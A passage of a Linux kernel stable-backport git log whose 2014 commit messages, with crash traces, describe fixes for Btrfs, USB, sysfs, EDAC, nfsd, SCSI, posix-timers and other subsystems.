flag from ceph_msgr_wq. This is wrong - libceph is very much a memory reclaim path, so restore it. Signed-off-by: Ilya Dryomov Tested-by: Micha Krause Reviewed-by: Sage Weil Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8683898472f0ea3ccbc121eeb769eaf15e1015aa Author: Chris Mason Date: Tue Nov 4 06:59:04 2014 -0800 Btrfs: fix kfree on list_head in btrfs_lookup_csums_range error cleanup commit 6e5aafb27419f32575b27ef9d6a31e5d54661aca upstream. If we hit any errors in btrfs_lookup_csums_range, we'll loop through all the csums we allocate and free them. But the code was using list_entry incorrectly, and ended up trying to free the on-stack list_head instead. This bug came from commit 0678b6185 btrfs: Don't BUG_ON kzalloc error in btrfs_lookup_csums_range() Signed-off-by: Chris Mason Reported-by: Erik Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a833f899f3bfce55576d0ddffc27e429466a8fd4 Author: Grant Likely Date: Mon Nov 3 15:15:35 2014 +0000 of: Fix overflow bug in string property parsing functions commit a87fa1d81a9fb5e9adca9820e16008c40ad09f33 upstream. The string property read helpers will run off the end of the buffer if it is handed a malformed string property. Rework the parsers to make sure that doesn't happen. At the same time add new test cases to make sure the functions behave themselves. The original implementations of of_property_read_string_index() and of_property_count_strings() both open-coded the same block of parsing code, each with it's own subtly different bugs. The fix here merges functions into a single helper and makes the original functions static inline wrappers around the helper. One non-bugfix aspect of this patch is the addition of a new wrapper, of_property_read_string_array(). The new wrapper is needed by the device_properties feature that Rafael is working on and planning to merge for v3.19. The implementation is identical both with and without the new static inline wrapper, so it just got left in to reduce the churn on the header file. Signed-off-by: Grant Likely Cc: Rafael J. Wysocki Cc: Mika Westerberg Cc: Rob Herring Cc: Arnd Bergmann Cc: Darren Hart Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a1f1ddb6c23848c7ddf6774d67a547b556755a9a Author: Yijing Wang Date: Fri Nov 7 12:05:49 2014 +0800 sysfs: driver core: Fix glue dir race condition by gdp_mutex commit e4a60d139060975eb956717e4f63ae348d4d8cc5 upstream. There is a race condition when removing glue directory. It can be reproduced in following test: path 1: Add first child device device_add() get_device_parent() /*find parent from glue_dirs.list*/ list_for_each_entry(k, &dev->class->p->glue_dirs.list, entry) if (k->parent == parent_kobj) { kobj = kobject_get(k); break; } .... class_dir_create_and_add() path2: Remove last child device under glue dir device_del() cleanup_device_parent() cleanup_glue_dir() kobject_put(glue_dir); If path2 has been called cleanup_glue_dir(), but not call kobject_put(glue_dir), the glue dir is still in parent's kset list. Meanwhile, path1 find the glue dir from the glue_dirs.list. Path2 may release glue dir before path1 call kobject_get(). So kernel will report the warning and bug_on. This is a "classic" problem we have of a kref in a list that can be found while the last instance could be removed at the same time. This patch reuse gdp_mutex to fix this race condition. The following calltrace is captured in kernel 3.4, but the latest kernel still has this bug. ----------------------------------------------------- <4>[ 3965.441471] WARNING: at ...include/linux/kref.h:41 kobject_get+0x33/0x40() <4>[ 3965.441474] Hardware name: Romley <4>[ 3965.441475] Modules linked in: isd_iop(O) isd_xda(O)... ... <4>[ 3965.441605] Call Trace: <4>[ 3965.441611] [] warn_slowpath_common+0x7a/0xb0 <4>[ 3965.441615] [] warn_slowpath_null+0x15/0x20 <4>[ 3965.441618] [] kobject_get+0x33/0x40 <4>[ 3965.441624] [] get_device_parent.isra.11+0x135/0x1f0 <4>[ 3965.441627] [] device_add+0xd4/0x6d0 <4>[ 3965.441631] [] ? dev_set_name+0x3c/0x40 .... <2>[ 3965.441912] kernel BUG at ..../fs/sysfs/group.c:65! <4>[ 3965.441915] invalid opcode: 0000 [#1] SMP ... <4>[ 3965.686743] [] sysfs_create_group+0xe/0x10 <4>[ 3965.686748] [] blk_trace_init_sysfs+0x14/0x20 <4>[ 3965.686753] [] blk_register_queue+0x3b/0x120 <4>[ 3965.686756] [] add_disk+0x1cc/0x490 .... ------------------------------------------------------- Signed-off-by: Yijing Wang Signed-off-by: Weng Meiling Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f29213d310896f40503620a66f5a580abf090b53 Author: Wolfram Sang Date: Mon Nov 3 21:16:16 2014 +0100 i2c: at91: don't account as iowait commit 11cfbfb098b22d3e57f1f2be217cad20e2d48463 upstream. iowait is for blkio [1]. I2C shouldn't use it. [1] https://lkml.org/lkml/2014/11/3/317 Signed-off-by: Wolfram Sang Acked-by: Ludovic Desroches Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3fcf04a1f9b756008e3f66fe57dc974a476fd80f Author: Hans de Goede Date: Wed Oct 22 16:06:38 2014 +0200 acer-wmi: Add acpi_backlight=video quirk for the Acer KAV80 commit 183fd8fcd7f8afb7ac5ec68f83194872f9fecc84 upstream. The acpi-video backlight interface on the Acer KAV80 is broken, and worse it causes the entire machine to slow down significantly after a suspend/resume. Blacklist it, and use the acer-wmi backlight interface instead. Note that the KAV80 is somewhat unique in that it is the only Acer model where we fall back to acer-wmi after blacklisting, rather then using the native (e.g. intel) backlight driver. This is done because there is no native backlight interface on this model. BugLink: https://bugzilla.redhat.com/show_bug.cgi?id=1128309 Signed-off-by: Hans de Goede Signed-off-by: Darren Hart Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 53adbeaf8026bb822ca1deb378d4980057e7fd00 Author: Jan Kara Date: Wed Oct 22 09:17:24 2014 +0200 rbd: Fix error recovery in rbd_obj_read_sync() commit a8d4205623ae965e36c68629db306ca0695a2771 upstream. When we fail to allocate page vector in rbd_obj_read_sync() we just basically ignore the problem and continue which will result in an oops later. Fix the problem by returning proper error. CC: Yehuda Sadeh CC: Sage Weil CC: ceph-devel@vger.kernel.org Coverity-id: 1226882 Signed-off-by: Jan Kara Signed-off-by: Ilya Dryomov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ca86af420a683caf0ead0e168072e1380ba10a6 Author: Alex Deucher Date: Sun Oct 26 15:18:42 2014 -0400 drm/radeon: remove invalid pci id commit 8c3e434769b1707fd2d24de5a2eb25fedc634c4a upstream. 0x4c6e is a secondary device id so should not be used by the driver. Noticed-by: Mark Kettenis Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1fc1102f8986ed2db15ab39e7e604e62e9939af5 Author: Felipe Balbi Date: Mon Nov 10 09:06:20 2014 -0600 usb: gadget: udc: core: fix kernel oops with soft-connect [ Upstream commit bfa6b18c680450c17512c741ed1d818695747621 ] Currently, there's no guarantee that udc->driver will be valid when using soft_connect sysfs interface. In fact, we can very easily trigger a NULL pointer dereference by trying to disconnect when a gadget driver isn't loaded. Fix this bug: ~# echo disconnect > soft_connect [ 33.685743] Unable to handle kernel NULL pointer dereference at virtual address 00000014 [ 33.694221] pgd = ed0cc000 [ 33.697174] [00000014] *pgd=ae351831, *pte=00000000, *ppte=00000000 [ 33.703766] Internal error: Oops: 17 [#1] SMP ARM [ 33.708697] Modules linked in: xhci_plat_hcd xhci_hcd snd_soc_davinci_mcasp snd_soc_tlv320aic3x snd_soc_edma snd_soc_omap snd_soc_evm snd_soc_core dwc3 snd_compress snd_pcm_dmaengine snd_pcm snd_timer snd lis3lv02d_i2c matrix_keypad lis3lv02d dwc3_omap input_polldev soundcore [ 33.734372] CPU: 0 PID: 1457 Comm: bash Not tainted 3.17.0-09740-ga93416e-dirty #345 [ 33.742457] task: ee71ce00 ti: ee68a000 task.ti: ee68a000 [ 33.748116] PC is at usb_udc_softconn_store+0xa4/0xec [ 33.753416] LR is at mark_held_locks+0x78/0x90 [ 33.758057] pc : [] lr : [] psr: 20000013 [ 33.758057] sp : ee68bec8 ip : c0c00008 fp : ee68bee4 [ 33.770050] r10: ee6b394c r9 : ee68bf80 r8 : ee6062c0 [ 33.775508] r7 : 00000000 r6 : ee6062c0 r5 : 0000000b r4 : ee739408 [ 33.782346] r3 : 00000000 r2 : 00000000 r1 : ee71d390 r0 : ee664170 [ 33.789168] Flags: nzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user [ 33.796636] Control: 10c5387d Table: ad0cc059 DAC: 00000015 [ 33.802638] Process bash (pid: 1457, stack limit = 0xee68a248) [ 33.808740] Stack: (0xee68bec8 to 0xee68c000) [ 33.813299] bec0: 0000000b c0411284 ee6062c0 00000000 ee68bef4 ee68bee8 [ 33.821862] bee0: c04112ac c04df090 ee68bf14 ee68bef8 c01c2868 c0411290 0000000b ee6b3940 [ 33.830419] bf00: 00000000 00000000 ee68bf4c ee68bf18 c01c1a24 c01c2818 00000000 00000000 [ 33.838990] bf20: ee61b940 ee2f47c0 0000000b 000ce408 ee68bf80 c000f304 ee68a000 00000000 [ 33.847544] bf40: ee68bf7c ee68bf50 c0152dd8 c01c1960 ee68bf7c c0170af8 ee68bf7c ee2f47c0 [ 33.856099] bf60: ee2f47c0 000ce408 0000000b c000f304 ee68bfa4 ee68bf80 c0153330 c0152d34 [ 33.864653] bf80: 00000000 00000000 0000000b 000ce408 b6e7fb50 00000004 00000000 ee68bfa8 [ 33.873204] bfa0: c000f080 c01532e8 0000000b 000ce408 00000001 000ce408 0000000b 00000000 [ 33.881763] bfc0: 0000000b 000ce408 b6e7fb50 00000004 0000000b 00000000 000c5758 00000000 [ 33.890319] bfe0: 00000000 bec2c924 b6de422d b6e1d226 40000030 00000001 75716d2f 00657565 [ 33.898890] [] (usb_udc_softconn_store) from [] (dev_attr_store+0x28/0x34) [ 33.907920] [] (dev_attr_store) from [] (sysfs_kf_write+0x5c/0x60) [ 33.916200] [] (sysfs_kf_write) from [] (kernfs_fop_write+0xd0/0x194) [ 33.924773] [] (kernfs_fop_write) from [] (vfs_write+0xb0/0x1bc) [ 33.932874] [] (vfs_write) from [] (SyS_write+0x54/0xb0) [ 33.940247] [] (SyS_write) from [] (ret_fast_syscall+0x0/0x48) [ 33.948160] Code: e1a01007 e12fff33 e5140004 e5143008 (e5933014) [ 33.954625] ---[ end trace f849bead94eab7ea ]--- Fixes: 2ccea03 (usb: gadget: introduce UDC Class) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8beb7604b27760dd503145bf3bd031080b06e3af Author: Felipe Balbi Date: Mon Nov 10 08:56:40 2014 -0600 usb: gadget: function: acm: make f_acm pass USB20CV Chapter9 [ Upstream commit 52ec49a5e56a27c5b6f8217708783eff39f24c16 ] During Halt Endpoint Test, our interrupt endpoint will be disabled, which will clear out ep->desc to NULL. Unless we call config_ep_by_speed() again, we will not be able to enable this endpoint which will make us fail that test. Fixes: f9c56cd (usb: gadget: Clear usb_endpoint_descriptor inside the struct usb_ep on disable) Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6158713e208685f4cf01510018d70b1dcd06de3e Author: Felipe Balbi Date: Mon Nov 10 08:55:44 2014 -0600 usb: dwc3: gadget: fix set_halt() bug with pending transfers [ Upstream commit 7a60855972f0d3c014093046cb6f013a1ee5bb19 ] According to our Gadget Framework API documentation, ->set_halt() *must* return -EAGAIN if we have pending transfers (on either direction) or FIFO isn't empty (on TX endpoints). Fix this bug so that the mass storage gadget can be used without stall=0 parameter. This patch should be backported to all kernels since v3.2. Suggested-by: Alan Stern Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 89018fff1a5aa8c610ed51c7527a49a9217f1e9e Author: Ondrej Kozina Date: Mon Aug 25 11:49:54 2014 +0200 crypto: algif - avoid excessive use of socket buffer in skcipher commit e2cffb5f493a8b431dc87124388ea59b79f0bccb upstream. On archs with PAGE_SIZE >= 64 KiB the function skcipher_alloc_sgl() fails with -ENOMEM no matter what user space actually requested. This is caused by the fact sock_kmalloc call inside the function tried to allocate more memory than allowed by the default kernel socket buffer size (kernel param net.core.optmem_max). Signed-off-by: Ondrej Kozina Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b3f3769d8c1e1e83148e0fbdda180daabacfbf1e Author: Jan Kara Date: Thu Oct 30 10:35:00 2014 +1100 mm: Remove false WARN_ON from pagecache_isize_extended() commit f55fefd1a5a339b1bd08c120b93312d6eb64a9fb upstream. The WARN_ON checking whether i_mutex is held in pagecache_isize_extended() was wrong because some filesystems (e.g. XFS) use different locks for serialization of truncates / writes. So just remove the check. Signed-off-by: Jan Kara Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37d58b22c3402cda07cbd7344077c809f99fa1d0 Author: Andy Lutomirski Date: Wed Oct 15 10:12:07 2014 -0700 x86, apic: Handle a bad TSC more gracefully commit b47dcbdc5161d3d5756f430191e2840d9b855492 upstream. If the TSC is unusable or disabled, then this patch fixes: - Confusion while trying to clear old APIC interrupts. - Division by zero and incorrect programming of the TSC deadline timer. This fixes boot if the CPU has a TSC deadline timer but a missing or broken TSC. The failure to boot can be observed with qemu using -cpu qemu64,-tsc,+tsc-deadline This also happens to me in nested KVM for unknown reasons. With this patch, I can boot cleanly (although without a TSC). Signed-off-by: Andy Lutomirski Cc: Bandan Das Link: http://lkml.kernel.org/r/e2fa274e498c33988efac0ba8b7e3120f7f92d78.1413393027.git.luto@amacapital.net Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 914db078d3216f5b2abab011dc123ed96780ea96 Author: Mathias Krause Date: Sat Oct 4 23:06:39 2014 +0200 posix-timers: Fix stack info leak in timer_create() commit 6891c4509c792209c44ced55a60f13954cb50ef4 upstream. If userland creates a timer without specifying a sigevent info, we'll create one ourself, using a stack local variable. Particularly will we use the timer ID as sival_int. But as sigev_value is a union containing a pointer and an int, that assignment will only partially initialize sigev_value on systems where the size of a pointer is bigger than the size of an int. On such systems we'll copy the uninitialized stack bytes from the timer_create() call to userland when the timer actually fires and we're going to deliver the signal. Initialize sigev_value with 0 to plug the stack info leak. Found in the PaX patch, written by the PaX Team. Fixes: 5a9fa7307285 ("posix-timers: kill ->it_sigev_signo and...") Signed-off-by: Mathias Krause Cc: Oleg Nesterov Cc: Brad Spengler Cc: PaX Team Link: http://lkml.kernel.org/r/1412456799-32339-1-git-send-email-minipli@googlemail.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7cd0c1fd64624508ba460c9f3297cbadf5bc981b Author: Karl Beldan Date: Mon Oct 13 14:34:41 2014 +0200 mac80211: fix typo in starting baserate for rts_cts_rate_idx commit c7abf25af0f41be4b50d44c5b185d52eea360cb8 upstream. It affects non-(V)HT rates and can lead to selecting an rts_cts rate that is not a basic rate or way superior to the reference rate (ATM rates[0] used for the 1st attempt of the protected frame data). E.g, assuming drivers register growing (bitrate) sorted tables of ieee80211_rate-s, having : - rates[0].idx == d'2 and basic_rates == b'10100 will select rts_cts idx b'10011 & ~d'(BIT(2)-1), i.e. 1, likewise - rates[0].idx == d'2 and basic_rates == b'10001 will select rts_cts idx b'10000 The first is not a basic rate and the second is > rates[0]. Also, wrt severity of the addressed misbehavior, ATM we only have one rts_cts_rate_idx rather than one per rate table entry, so this idx might still point to bitrates > rates[1..MAX_RATES]. Fixes: 5253ffb8c9e1 ("mac80211: always pick a basic rate to tx RTS/CTS for pre-HT rates") Signed-off-by: Karl Beldan Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 09c147af72e4f35b8adc6e4c5a313a661908f5d6 Author: Imre Deak Date: Fri Oct 24 20:29:10 2014 +0300 PM / Sleep: fix recovery during resuming from hibernation commit 94fb823fcb4892614f57e59601bb9d4920f24711 upstream. If a device's dev_pm_ops::freeze callback fails during the QUIESCE phase, we don't rollback things correctly calling the thaw and complete callbacks. This could leave some devices in a suspended state in case of an error during resuming from hibernation. Signed-off-by: Imre Deak Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cbbcd4ca0570e25a46708c20c5fc7d4890ab4288 Author: Peter Hurley Date: Thu Oct 16 13:51:30 2014 -0400 tty: Fix high cpu load if tty is unreleaseable commit 37b164578826406a173ca7c20d9ba7430134d23e upstream. Kernel oops can cause the tty to be unreleaseable (for example, if n_tty_read() crashes while on the read_wait queue). This will cause tty_release() to endlessly loop without sleeping. Use a killable sleep timeout which grows by 2n+1 jiffies over the interval [0, 120 secs.) and then jumps to forever (but still killable). NB: killable just allows for the task to be rewoken manually, not to be terminated. Signed-off-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3762360ab5278440f465bf0c7887dca8f336d06a Author: Jan Kara Date: Wed Oct 22 09:06:49 2014 +0200 quota: Properly return errors from dquot_writeback_dquots() commit 474d2605d119479e5aa050f738632e63589d4bb5 upstream. Due to a switched left and right side of an assignment, dquot_writeback_dquots() never returned error. This could result in errors during quota writeback to not be reported to userspace properly. Fix it. Coverity-id: 1226884 Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dd41cbaa4f9ed14958cf923cc76d26be25536f3e Author: Jan Kara Date: Tue Sep 16 22:23:10 2014 +0200 ext3: Don't check quota format when there are no quota files commit 7938db449bbc55bbeb164bec7af406212e7e98f1 upstream. The check whether quota format is set even though there are no quota files with journalled quota is pointless and it actually makes it impossible to turn off journalled quotas (as there's no way to unset journalled quota format). Just remove the check. Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1ab5ece0aff3bba5dce9db47d01db693aede3315 Author: J. Bruce Fields Date: Wed Oct 22 14:46:29 2014 -0400 nfsd4: fix crash on unknown operation number commit 51904b08072a8bf2b9ed74d1bd7a5300a614471d upstream. Unknown operation numbers are caught in nfsd4_decode_compound() which sets op->opnum to OP_ILLEGAL and op->status to nfserr_op_illegal. The error causes the main loop in nfsd4_proc_compound() to skip most processing. But nfsd4_proc_compound also peeks ahead at the next operation in one case and doesn't take similar precautions there. Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 222a4bfa71a9e6cca1af2cfe94d07f86674b01aa Author: Jason Baron Date: Wed Oct 15 20:47:28 2014 +0000 cpc925_edac: Report UE events properly commit fa19ac4b92bc2b5024af3e868f41f81fa738567a upstream. Fix UE event being reported as HW_EVENT_ERR_CORRECTED. Signed-off-by: Jason Baron Link: http://lkml.kernel.org/r/8beb13803500076fef827eab33d523e355d83759.1413405053.git.jbaron@akamai.com Signed-off-by: Borislav Petkov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2231b10fad6dff54ff1f5f46e02c2c6ab0cb619a Author: Jason Baron Date: Sat Oct 18 16:06:32 2014 +0200 e7xxx_edac: Report CE events properly commit 8030122a9ccf939186f8db96c318dbb99b5463f6 upstream. Fix CE event being reported as HW_EVENT_ERR_UNCORRECTED. Signed-off-by: Jason Baron Link: http://lkml.kernel.org/r/e6dd616f2cd51583a7e77af6f639b86313c74144.1413405053.git.jbaron@akamai.com Signed-off-by: Borislav Petkov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cd9180f4299a0651db8f80dae165976f38d5768e Author: Jason Baron Date: Wed Oct 15 20:47:21 2014 +0000 i3200_edac: Report CE events properly commit 8a3f075d6c9b3612b4a5fb2af8db82b38b20caf0 upstream. Fix CE event being reported as HW_EVENT_ERR_UNCORRECTED. Signed-off-by: Jason Baron Link: http://lkml.kernel.org/r/d02465b4f30314b390c12c061502eda5e9d29c52.1413405053.git.jbaron@akamai.com Signed-off-by: Borislav Petkov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 36a5eb752063308d1f5d5b1a88b97e263c5e4956 Author: Jason Baron Date: Wed Oct 15 20:47:24 2014 +0000 i82860_edac: Report CE events properly commit ab0543de6ff0877474f57a5aafbb51a61e88676f upstream. Fix CE event being reported as HW_EVENT_ERR_UNCORRECTED. Signed-off-by: Jason Baron Link: http://lkml.kernel.org/r/7aee8e244a32ff86b399a8f966c4aae70296aae0.1413405053.git.jbaron@akamai.com Signed-off-by: Borislav Petkov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0a9c6b2af0b9bdfac14c7edc9fcb075ad3ecd5a0 Author: Jan Kara Date: Wed Oct 22 20:13:39 2014 -0600 scsi: Fix error handling in SCSI_IOCTL_SEND_COMMAND commit 84ce0f0e94ac97217398b3b69c21c7a62ebeed05 upstream. When sg_scsi_ioctl() fails to prepare request to submit in blk_rq_map_kern() we jump to a label where we just end up copying (luckily zeroed-out) kernel buffer to userspace instead of reporting error. Fix the problem by jumping to the right label. CC: Jens Axboe CC: linux-scsi@vger.kernel.org Coverity-id: 1226871 Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Fixed up the, now unused, out label. Signed-off-by: Jens Axboe Signed-off-by: Pranav Vashi commit 9f8d46a36d089a78896bd25a53fb8290c0147488 Author: Jan Kara Date: Wed Oct 29 14:50:44 2014 -0700 lib/bitmap.c: fix undefined shift in __bitmap_shift_{left|right}() commit ea5d05b34aca25c066e0699512d0ffbd8ee6ac3e upstream. If __bitmap_shift_left() or __bitmap_shift_right() are asked to shift by a multiple of BITS_PER_LONG, they will try to shift a long value by BITS_PER_LONG bits which is undefined. Change the functions to avoid the undefined shift. Coverity id: 1192175 Coverity id: 1192174 Signed-off-by: Jan Kara Cc: Rasmus Villemoes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8154bfc3f986b64f97933dac069e84a296f5920a Author: Wang Nan Date: Wed Oct 29 14:50:18 2014 -0700 cgroup/kmemleak: add kmemleak_free() for cgroup deallocations. commit 401507d67d5c2854f5a88b3f93f64fc6f267bca5 upstream. Commit ff7ee93f4715 ("cgroup/kmemleak: Annotate alloc_page() for cgroup allocations") introduces kmemleak_alloc() for alloc_page_cgroup(), but corresponding kmemleak_free() is missing, which makes kmemleak be wrongly disabled after memory offlining. Log is pasted at the end of this commit message. This patch add kmemleak_free() into free_page_cgroup(). During page offlining, this patch removes corresponding entries in kmemleak rbtree. After that, the freed memory can be allocated again by other subsystems without killing kmemleak. bash # for x in 1 2 3 4; do echo offline > /sys/devices/system/memory/memory$x/state ; sleep 1; done ; dmesg | grep leak Offlined Pages 32768 kmemleak: Cannot insert 0xffff880016969000 into the object search tree (overlaps existing) CPU: 0 PID: 412 Comm: sleep Not tainted 3.17.0-rc5+ #86 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 Call Trace: dump_stack+0x46/0x58 create_object+0x266/0x2c0 kmemleak_alloc+0x26/0x50 kmem_cache_alloc+0xd3/0x160 __sigqueue_alloc+0x49/0xd0 __send_signal+0xcb/0x410 send_signal+0x45/0x90 __group_send_sig_info+0x13/0x20 do_notify_parent+0x1bb/0x260 do_exit+0x767/0xa40 do_group_exit+0x44/0xa0 SyS_exit_group+0x17/0x20 system_call_fastpath+0x16/0x1b kmemleak: Kernel memory leak detector disabled kmemleak: Object 0xffff880016900000 (size 524288): kmemleak: comm "swapper/0", pid 0, jiffies 4294667296 kmemleak: min_count = 0 kmemleak: count = 0 kmemleak: flags = 0x1 kmemleak: checksum = 0 kmemleak: backtrace: log_early+0x63/0x77 kmemleak_alloc+0x4b/0x50 init_section_page_cgroup+0x7f/0xf5 page_cgroup_init+0xc5/0xd0 start_kernel+0x333/0x408 x86_64_start_reservations+0x2a/0x2c x86_64_start_kernel+0xf5/0xfc Fixes: ff7ee93f4715 (cgroup/kmemleak: Annotate alloc_page() for cgroup allocations) Signed-off-by: Wang Nan Acked-by: Johannes Weiner Acked-by: Michal Hocko Cc: Steven Rostedt Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d1ad943fa5dfe5191ea4fb5eb3c7ce7f68f429da Author: Hans de Goede Date: Wed Oct 1 11:29:14 2014 +0200 usb: Do not allow usb_alloc_streams on unconfigured devices commit 90a646c770c50cc206ceba0d7b50453c46c13c36 upstream. This commit fixes the following oops: [10238.622067] scsi host3: uas_eh_bus_reset_handler start [10240.766164] usb 3-4: reset SuperSpeed USB device number 3 using xhci_hcd [10245.779365] usb 3-4: device descriptor read/8, error -110 [10245.883331] usb 3-4: reset SuperSpeed USB device number 3 using xhci_hcd [10250.897603] usb 3-4: device descriptor read/8, error -110 [10251.058200] BUG: unable to handle kernel NULL pointer dereference at 0000000000000040 [10251.058244] IP: [] xhci_check_streams_endpoint+0x91/0x140 [10251.059473] Call Trace: [10251.059487] [] xhci_calculate_streams_and_bitmask+0xbc/0x130 [10251.059520] [] xhci_alloc_streams+0x10f/0x5a0 [10251.059548] [] ? check_preempt_curr+0x75/0xa0 [10251.059575] [] ? ttwu_do_wakeup+0x2c/0x100 [10251.059601] [] ? ttwu_do_activate.constprop.111+0x66/0x70 [10251.059635] [] usb_alloc_streams+0xab/0xf0 [10251.059662] [] uas_configure_endpoints+0x128/0x150 [uas] [10251.059694] [] uas_post_reset+0x3c/0xb0 [uas] [10251.059722] [] usb_reset_device+0x1b9/0x2a0 [10251.059749] [] uas_eh_bus_reset_handler+0xb2/0x190 [uas] [10251.059781] [] scsi_try_bus_reset+0x53/0x110 [10251.059808] [] scsi_eh_bus_reset+0xf7/0x270 The problem is the following call sequence (simplified): 1) usb_reset_device 2) usb_reset_and_verify_device 2) hub_port_init 3) hub_port_finish_reset 3) xhci_discover_or_reset_device This frees xhci->devs[slot_id]->eps[ep_index].ring for all eps but 0 4) usb_get_device_descriptor This fails 5) hub_port_init fails 6) usb_reset_and_verify_device fails, does not restore device config 7) uas_post_reset 8) xhci_alloc_streams NULL deref on the free-ed ring This commit fixes this by not allowing usb_alloc_streams to continue if the device is not configured. Note that we do allow usb_free_streams to continue after a (logical) disconnect, as it is necessary to explicitly free the streams at the xhci controller level. Signed-off-by: Hans de Goede Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0ec57f24a2cbfdc5432120ecd5c24de6d6a02542 Author: Johan Hovold Date: Wed Oct 29 09:07:31 2014 +0100 USB: opticon: fix non-atomic allocation in write path commit e681286de221af78fc85db9222b6a203148c005a upstream. Write may be called from interrupt context so make sure to use GFP_ATOMIC for all allocations in write. Fixes: 0d930e51cfe6 ("USB: opticon: Add Opticon OPN2001 write support") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d3ca39f7cd53cb49619b45a470f5c4e5b42aac22 Author: Alan Stern Date: Fri Oct 31 14:49:47 2014 -0400 usb-storage: handle a skipped data phase commit 93c9bf4d1838d5851a18ca398b0ad66397f05056 upstream. Sometimes mass-storage devices using the Bulk-only transport will mistakenly skip the data phase of a command. Rather than sending the data expected by the host or sending a zero-length packet, they go directly to the status phase and send the CSW. This causes problems for usb-storage, for obvious reasons. The driver will interpret the CSW as a short data transfer and will wait to receive a CSW. The device won't have anything left to send, so the command eventually times out. The SCSI layer doesn't retry commands after they time out (this is a relatively recent change). Therefore we should do our best to detect a skipped data phase and handle it promptly. This patch adds code to do that. If usb-storage receives a short 13-byte data transfer from the device, and if the first four bytes of the data match the CSW signature, the driver will set the residue to the full transfer length and interpret the data as a CSW. This fixes Bugzilla #86611. Signed-off-by: Alan Stern CC: Matthew Dharm Tested-by: Paul Osmialowski Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d05c7c74776a5c68e18595c938537c1b6466b694 Author: Dmitry Eremin-Solenikov Date: Thu Nov 6 14:08:29 2014 +0300 spi: pxa2xx: toggle clocks on suspend if not disabled by runtime PM commit 2b9375b91bef65b837bed61a05fb387159b38ddf upstream. If PM_RUNTIME is enabled, it is easy to trigger the following backtrace on pxa2xx hosts: ------------[ cut here ]------------ WARNING: CPU: 0 PID: 1 at /home/lumag/linux/arch/arm/mach-pxa/clock.c:35 clk_disable+0xa0/0xa8() Modules linked in: CPU: 0 PID: 1 Comm: swapper Not tainted 3.17.0-00007-g1b3d2ee-dirty #104 [] (unwind_backtrace) from [] (show_stack+0x10/0x14) [] (show_stack) from [] (warn_slowpath_common+0x6c/0x8c) [] (warn_slowpath_common) from [] (warn_slowpath_null+0x1c/0x24) [] (warn_slowpath_null) from [] (clk_disable+0xa0/0xa8) [] (clk_disable) from [] (pxa2xx_spi_suspend+0x2c/0x34) [] (pxa2xx_spi_suspend) from [] (platform_pm_suspend+0x2c/0x54) [] (platform_pm_suspend) from [] (dpm_run_callback.isra.14+0x2c/0x74) [] (dpm_run_callback.isra.14) from [] (__device_suspend+0x120/0x2f8) [] (__device_suspend) from [] (dpm_suspend+0x50/0x208) [] (dpm_suspend) from [] (suspend_devices_and_enter+0x8c/0x3a0) [] (suspend_devices_and_enter) from [] (pm_suspend+0x214/0x2a8) [] (pm_suspend) from [] (test_suspend+0x14c/0x1dc) [] (test_suspend) from [] (do_one_initcall+0x8c/0x1fc) [] (do_one_initcall) from [] (kernel_init_freeable+0xf4/0x1b4) [] (kernel_init_freeable) from [] (kernel_init+0x8/0xec) [] (kernel_init) from [] (ret_from_fork+0x14/0x24) ---[ end trace 46524156d8faa4f6 ]--- This happens because suspend function tries to disable a clock that is already disabled by runtime_suspend callback. Add if (!pm_runtime_suspended()) checks to suspend/resume path. Fixes: 7d94a505858 (spi/pxa2xx: add support for runtime PM) Signed-off-by: Dmitry Eremin-Solenikov Reported-by: Andrea Adami Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 